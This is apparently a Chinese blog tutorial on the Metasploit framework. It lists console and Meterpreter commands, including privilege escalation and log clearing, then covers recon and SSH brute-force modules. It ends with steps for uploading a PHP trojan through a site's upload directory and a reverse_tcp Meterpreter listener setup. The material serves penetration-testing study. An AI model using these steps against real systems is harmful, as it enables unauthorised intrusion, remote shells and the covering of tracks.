metasploit工具(msf)

MSF基本介绍

Metasploit是一个广泛使用的开源渗透测试框架,它提供了大量的工具和模块,用于模拟各种安全攻击,帮助安全专业人员评估和增强系统的安全性。它由Rapid7公司的H.D. Moore在2003年创立,并且由一个庞大的社区支持。Metasploit包含了一个漏洞数据库,用户可以通过它来搜索和利用已知的安全漏洞。此外,Metasploit还具备生成后门、漏洞利用代码、木马、蠕虫等多种类型的恶意软件的能力

当有新的漏洞或者利用武器MSF如何更新

msfupdate

MSF功能模块

核心模块

Exploits(用来入侵,漏洞攻击库)

payloads(入侵后执行)

Auxiliary(辅助模块)

Post(维持权限)

Evasion

Encoder

Nops

MSF基本命令

msfconsole

启动交互终端

banner

展示banner

help 或?

查看帮助,help+命令

search

搜索漏洞和利用数据库

info

查看模块的信息

use XXX

使用模块

show options

查看所使用模块需要配置的参数

set name value

设置参数值

set name value

设置参数值

run/exploit

执行模块

back

退回到主界面

quit/exit

退出msf

Meterpreter 常用命令

help

查看可以使用的命令

sessions

查看会话

sysinfo

查看目标系统信息

sessions -i id

切换到指定会话

getuid

查看用户

sessions -k id

杀死指定会话

getpid

查看进程编号

shell

进入目标主机shell

pwd/getlwd

查看当前目录

upload <local><remote>

向目标主机上传文件

cd/lcd

切换目录

download <remote><local>

从目标主机下载文件

background

把当前会话放到后台

search

在目标主机上搜索文件search -f *test*

execute

在目标主机执行程序

execute -f notepad.exeexecute -H -i -f cmd.exe

getsystem

提权

clearev

消除痕迹

MSF信息收集实战

MSF信息收集

命令

说明

主机发现

use auxiliary/scanner/discovery/arp_sweep

端口扫描

use auxiliary/scanner/portscan/tcp

目录扫描

use auxiliary/scanner/http/dir_scanner

SSH暴破

use auxiliary/scanner/ssh/ssh_login

服务扫描

use auxiliary/scanner/mysql/mysal_version

use auxiliary/scancer/smb/smb_version

use auxiliary/scanner/telnet/telnet_version

use auxiliary/scanner/rdp/rdp_scanner

主机发现 -网段信息-所有存活的ip 扫描ip地址

show options 查看这个模块需要做哪些配置

设置搜索的网段

最后run运行 就可以看到当前存活的ip地址

扫描当前ip的端口

查看当前模块需要的配置

设置配置运行显示结果

目录扫描

目录扫描:探测一共网站根目录,其他文件,文件夹

意义:敏感文件,源码,数据备份

可能还有后台登录

使用目录扫描模块

upload 文件上传 login 后台登录 config配置文件

SSH爆破 利用22端口 ssh远程登录

使用这个模块

添加配置模块需要的参数

运行run查看结果

MSF生成木马和利用

当进行目录扫描时有upload的目录 可以利用这个给其上传病毒

复制这个网址在浏览器打开

1.怎么制作PHP木马?(会主动连接,能执行命令)

完成命令后home目录下会生成

在80端口开启个网站 监听80端口

靶机浏览器输入kali的地址 就可以下载kali里home目录的文件

2.制作木马后msf建立监听

use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 192.168.142.162
set lport 7777
run

控制后想知道能做些什么

  • 41
    点赞
  • 19
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
MSFMetasploit Framework)是一款强大的开源渗透测试工具,用于测试和评估计算机系统的安全性。学习MSF渗透工具有助于提高对网络安全的理解和技能。以下是一些学习MSF渗透工具的材料和方法: 1. 官方文档:Metasploit官方网站提供了完整的文档,包括用户指南、参考手册和教程。这些文档详细介绍了MSF的各个模块、命令、选项和使用方法。 2. 书籍:有一些书籍专门介绍了MSF的原理、用法和实例。例如《Metasploit: The Penetration Tester's Guide》,该书提供了深入的MSF知识,并帮助读者掌握渗透测试的技巧。 3. 在线教程:互联网上有许多免费的MSF教程和视频教程可供学习。通过这些教程,可以了解MSF的基本操作和常用技巧,并学习如何使用不同的模块和插件。 4. 实践演练:通过自己的实践和演练来学习MSF是非常重要的。可以使用虚拟机环境搭建实验环境,模拟真实的渗透测试场景,并运用MSF进行实际的渗透测试工作。 5. 社区和论坛:Metasploit拥有活跃的社区和论坛,可以与其他渗透测试者交流经验和学习心得。在这些社区中,可以获取到最新的MSF资讯、漏洞信息和实践技巧。 需要注意的是,渗透测试是一项敏感和专业的工作,必须遵守法律和道德准则。在学习和使用MSF工具时,务必要了解和遵守相关的法律法规,避免非法使用和侵犯他人的隐私和安全。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值